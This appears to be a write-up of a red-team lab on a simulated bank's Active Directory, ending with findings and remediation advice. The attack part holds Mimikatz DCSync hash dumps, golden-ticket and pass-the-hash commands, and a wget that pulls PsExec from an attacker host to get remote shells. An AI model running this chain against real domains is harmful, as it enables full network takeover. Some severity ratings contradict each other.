10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0

PS C:\Users\omarahmed\Desktop> ls
Directory: C:\Users\omarahmed\Desktop
Mode                LastWriteTime         Length Name
----                -
-a----          6/21/2016   4:36 PM           527 EC2 Feedback.website
-a----          6/21/2016   4:36 PM           554 EC2 Microsoft Windows Guide.website
-a----          5/4/2025    2:39 PM       1355680 mimikatz.exe

PS C:\Users\omarahmed\Desktop> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com **/

mimikatz # privilege::debug
Privilege '20' OK
mimikatz #
```

0c757a3445acb94a654554f3ac529ede

```
UND
mimikatz # lsadump::dcsync /user:corp\krbtgt
[DC] 'corp.thereserve.loc' will be the domain
[DC] 'CORPDC.corp.thereserve.loc' will be the DC server
[DC] 'corp\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010202 ( ACCOUNTDISABLE NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 9/7/2022 9:58:08 PM
Object Security ID : S-1-5-21-170228521-1485475711-3199862024-502
Object Relative ID : 502

Credentials:
Hash NTLM: 0c757a3445acb94a654554f3ac529ede
ntlm- 0: 0c757a3445acb94a654554f3ac529ede
lm - 0: d99b85523676a2f2ec54ec88c75e62e7

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 8fea6537ee7adab6de1320740dbac5ba
```

kerberos::golden /user:Administrator /domain:corp.thereserve.loc /sid:S-1-5-21-170228521-1485475711-3199862024-1009 /service:krbtgt /rc4:0c757a3445acb94a654554f3ac529ede /sids:S-1-5-21-1255581842-1300659601-3764024703-519 /ptt

```
mimikatz # kerberos::golden /user:Administrator /domain:corp.thereserve.loc /sid:S-1-5-21-170228521-1485475711-3199862024-1009 /service:krbtgt /rc4:0c757a3445acb94a654554f3ac529ede /sids:S-1-5-21-1255581842-1300659601-3764024703-519 /ptt
User : Administrator
Domain : corp.thereserve.loc (CORP)
SID : S-1-5-21-170228521-1485475711-3199862024-1009
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-1255581842-1300659601-3764024703-519 ;
ServiceKey: 0c757a3445acb94a654554f3ac529ede - rc4_hmac_nt
Service : krbtgt
Lifetime : 5/4/2025 4:45:55 PM ; 5/2/2035 4:45:55 PM ; 5/2/2035 4:45:55 PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ corp.thereserve.loc' successfully submitted for current session
```

```
PS C:\Windows\system32> dir \\rootdc.thereserve.loc\c$

Directory: \\rootdc.thereserve.loc\c$

Mode                LastWriteTime         Length Name
----                -
d-----          11/14/2018   6:56 AM             EFI
d-----          5/13/2020   6:58 PM             Perflogs
d-r-----        9/7/2022   4:58 PM             Program Files
d-----        9/7/2022   4:57 PM             Program Files (x86)
d-r-----        9/7/2022   4:55 PM             Users
d-----        9/7/2022   7:39 PM             Windows
-a-----        4/1/2023   4:10 AM             427 adusers_list.csv
-a-----        3/17/2023   6:18 AM             85 dns_entries.csv
-a-----        4/15/2023   8:52 PM          3162859 EC2-Windows-Launch.zip
-a-----        4/15/2023   8:52 PM          13182 install.ps1
-a-----        4/15/2023   8:51 PM          1812 thm-network-setup-dc.ps1

PS C:\Windows\system32>
```

```

PS C:\Users\omarahmed\Desktop> wget http://10.50.115.251/PsExec.exe -o PsExec.exe
PS C:\Users\omarahmed\Desktop> .\PsExec.exe \\rootdc.thereserve.loc cmd.exe

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.3287]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname
ROOTDC

C:\Windows\system32>

```

rooooooooooooooooooooooot

```

c:\Users\Administrator\Desktop>mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi' ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # hostname
ROOTDC.thereserve.loc (ROOTDC)

mimikatz #

```

```
mimikatz # lsadump::dcsync /domain:thereserve.loc /user:thereserve\krbtgt
```

[DC] 'thereserve.loc' will be the domain

[DC] 'ROOTDC.thereserve.loc' will be the DC server

[DC] 'thereserve\krbtgt' will be the user account

[rpc] Service : ldap

[rpc] AuthnSvc : GSS\_NEGOTIATE (9)

Object RDN : krbtgt

\*\* SAM ACCOUNT \*\*

SAM Username : krbtgt

Account Type : 30000000 ( USER\_OBJECT )

User Account Control : 00010202 ( ACCOUNTDISABLE NORMAL\_ACCOUNT DONT\_EXPIRE\_PASSWD )

Root hash


B232e0b2df4eb28a803bc21bf9a6cc87

Sid

S-1-5-21-1255581842-1300659601-3764024703-502



```
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.thereserve.loc /ntlm:7497376f8ca3ff0d1a1fab64d49c9364 /run:"mstsc.exe /restrictedadmin"
user : Administrator
domain : corp.thereserve.loc
program : mstsc.exe /restrictedadmin
impers. : no
NTLM : 7497376f8ca3ff0d1a1fab64d49c9364
| PID 3740
| TID 5248
| LSA Process is now R/W
| LUID 0 ; 7639483 (00000000:007491bb)
\ msv1_0 - data copy @ 0000016639169690 : OK !
\ kerberos - data copy @ 000001663A679228
\ aes256_hmac -> null
\ aes128_hmac -> null
\ rc4_hmac_nt OK
\ rc4_hmac_old OK
\ rc4_md4 OK
\ rc4_hmac_nt_exp OK
\ rc4_hmac_old_exp OK
\ *Password replace @ 000001663D9F7318 (32) -> null
mimikatz #
```



```
PS C:\Windows\system32> cd C:\Users\omarahmed\Desktop\
PS C:\Users\omarahmed\Desktop> .\PsExec.exe \\ROOTDC.thereserve.loc cmd.exe

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Couldn't access ROOTDC.thereserve.loc:
The network path was not found.

Make sure that the default admin$ share is enabled on ROOTDC.thereserve.loc.
PS C:\Users\omarahmed\Desktop> winrs -r:rootdc.thereserve.loc cmd.exe
Microsoft Windows [Version 10.0.17763.3287]
(c) 2018 Microsoft Corporation. All rights reserved.


C:\Users\Administrator.CORP>
```

# BANKDC

By adding our user to the domain admins & enterprise admins

And since we are in the BANKDC we are in the same so we had the ability to RPP the jmp DC and we did it

But we cannot connect from jmp to the WORK1 & WORK2 so we need to connect to them from the BANKDC OR the ROOTDC



From the bankdc tha x.x.x.101 we had the ability

We join the WORK1

## Swift web access

```
Selection:17
dc989d-91b0-4a45-91f9-00dd24a381e8
Warning: Permanently added '10.200.113.201' (ECDSA) to the list of known hosts.

In order to proof that you have access to the SWIFT system, dummy accounts have been created for you and you will have to perform the following steps to prove access.
=====
Account Details:
Source Email:      TeneBrae93@source.loc
Source Password:   31AZyl68Z800jA
Source AccountID:  646984bf599a220a06210e1c
Source Funds:      $ 10 000 000

Destination Email: TeneBrae93@destination.loc
Destination Password: _QMDtNqI8GasQ
Destination AccountID: 646984cd599a220a06210e1d
Destination Funds:  $ 10
=====

Using these details, perform the following steps:
1. Go to the SWIFT web application
2. Navigate to the Make a Transaction page
3. Issue a transfer using the Source account as Sender and the Destination account as Receiver. You will have to use the corresponding account IDs.
4. Issue the transfer for the full 10 million dollars
5. Once completed, request verification of your transaction here (No need to check your email once the transfer has been created)
```

The screenshot shows a web browser window with the address bar displaying "swift.bank.thereserve.loc/transfer". The page features a logo for "THERESERVE" and a "PIN Confirmation" button. A green message box states: "Check your email for the confirmation PIN number!". Below this, a "New Transaction!" section contains a form with three columns: "Sender", "Receiver", and "Amount". The "Sender" column has a field for "sender ID", the "Receiver" column has a field for "receiver ID", and the "Amount" column has a field for "Amount Price". A "Submit" button is located at the bottom of the form.

Sender	Receiver	Amount
sender ID	receiver ID	Amount Price

```
C:\Windows\system32>net group "Payment Approvers" /domain
The request will be processed at a domain controller for domain bank.thereserve.loc.

Group name      Payment Approvers
Comment

Members
-----
a.holt          a.turner        r.davies
s.kemp
The command completed successfully.

C:\Windows\system32>
```

```
C:\Windows\system32>net group "Payment Capturers" /domain
The request will be processed at a domain controller for domain bank.thereserve.loc.

Group name      Payment Capturers
Comment

Members
-----
a.barker        c.young          g.watson
s.harding       t.buckley
The command completed successfully.

C:\Windows\system32>
```

# Findings ,Impact & Recommendations

## 1. OSINT Information Leakage

- **Finding:** The "Meet The Team" page on the web server exposes employee names and images, which can be used to guess usernames for brute-force attacks.
- **Impact: High** (Leads to credential compromise)
- **Recommendation:**
  - Restrict directory listing on web servers.
  - Use generic placeholder images instead of real employee photos.
  - Implement role-based access control (RBAC) for sensitive directories.

## 2. Weak Password Policy Exploitation

- **Finding:** Password hashes were cracked using a weak password policy (8 chars, 1 number, 1 special character) and a generated wordlist.
- **Impact: High** (Direct compromise of user accounts)
- **Recommendation:**
  - Enforce stronger passwords (12+ chars, mixed case, special chars).
  - Implement multi-factor authentication (MFA).
  - Monitor for brute-force attempts and lock accounts after failures.

## 3. SMTP Brute-Force Vulnerability

- **Finding:** SMTP (port 25) allowed brute-forcing credentials for laura.wood and mohammad.ahmed.
- **Impact: High** (Unauthorized access to email/VPN)
- **Recommendation:**
  - Disable SMTP AUTH if not needed.
  - Rate-limit login attempts.
  - Use CAPTCHA or IP whitelisting for SMTP.

## 4. VPN Certificate Creator Command Injection

- **Finding:** The VPN certificate creator was vulnerable to command injection via Burp Suite, leading to a reverse shell.
- **Impact: Critical** (Remote code execution)
- **Recommendation:**
  - Sanitize user input in web applications.
  - Use parameterized queries.
  - Restrict shell commands to predefined values.

## 5. Privilege Escalation via Sudo Misconfiguration

- **Finding:** The www-data user could run /bin/cp as root, enabling SSH key persistence.
- **Impact: High** (Root access escalation)
- **Recommendation:**
  - Audit sudo permissions (sudo -l).
  - Remove unnecessary sudo privileges.
  - Use tools like lynis for privilege escalation checks.

## 6. Kerberoasting Attack

- **Finding:** Service accounts (e.g., svcScanning) with weak SPN passwords were exploited to extract hashes.
- **Impact: High** (Domain admin compromise)
- **Recommendation:**
  - Use strong, random passwords for service accounts.
  - Enable "Account is sensitive and cannot be delegated" in AD.
  - Monitor for unusual TGS requests.

## 7. Golden Ticket Attack

- **Finding:** Mimikatz was used to forge a golden ticket using the krbtgt hash.
- **Impact: Critical** (Persistence across the domain)
- **Recommendation:**
  - Regularly rotate the krbtgt password (twice in quick succession).
  - Restrict access to Domain Controllers.
  - Monitor for anomalous Kerberos activity.

## 8. Lateral Movement via PsExec

- **Finding:** PsExec was used to move laterally to ROOTDC and BANKDC.
- **Impact: High** (Domain-wide compromise)
- **Recommendation:**
  - Restrict PsExec to administrative workstations only.
  - Enable Windows Defender Attack Surface Reduction (ASR) rules.
  - Segment critical servers (e.g., DCs) from workstations.

## 9. SWIFT Application Vulnerabilities

- **Finding:** Weak credentials for "Payment Capturers" and "Approvers" allowed unauthorized transaction approvals.
- **Impact: Critical** (Financial fraud risk)

- **Recommendation:**
- Enforce MFA for SWIFT application logins.
- Store approver credentials in a secure vault (not browsers).
- Require dual approval for high-value transactions.

## 10. Windows Defender Disabled

- **Finding:** Defender was disabled on compromised hosts to evade detection.
- **Impact: Medium** (Increased attack surface)
- **Recommendation:**
- Enable tamper protection in Defender.
- Use Group Policy to enforce real-time monitoring.
- Deploy EDR solutions (e.g., CrowdStrike, SentinelOne).

## General Recommendations

1. **Network Segmentation:** Isolate critical systems (e.g., SWIFT, DCs) from general networks.
2. **Logging/Monitoring:** Centralize logs (SIEM) and alert on suspicious activity (e.g., Mimikatz execution).
3. **Regular Audits:** Conduct penetration tests and red-team exercises biannually.
4. **User Training:** Educate employees on phishing and credential hygiene.
5. **Patch Management:** Keep systems updated (e.g., IIS, OpenSSH).

## Risk Prioritization

Risk	Severity
Golden Ticket Attack	Critical
SWIFT Compromise	Critical
Kerberoasting	High
SMTP Brute-Force	High
VPN Command Injection	High
Privilege Escalation	High
OSINT Leakage	Medium
Defender Disabled	Medium

**Mitigation Focus:** Address critical/high risks first, then medium.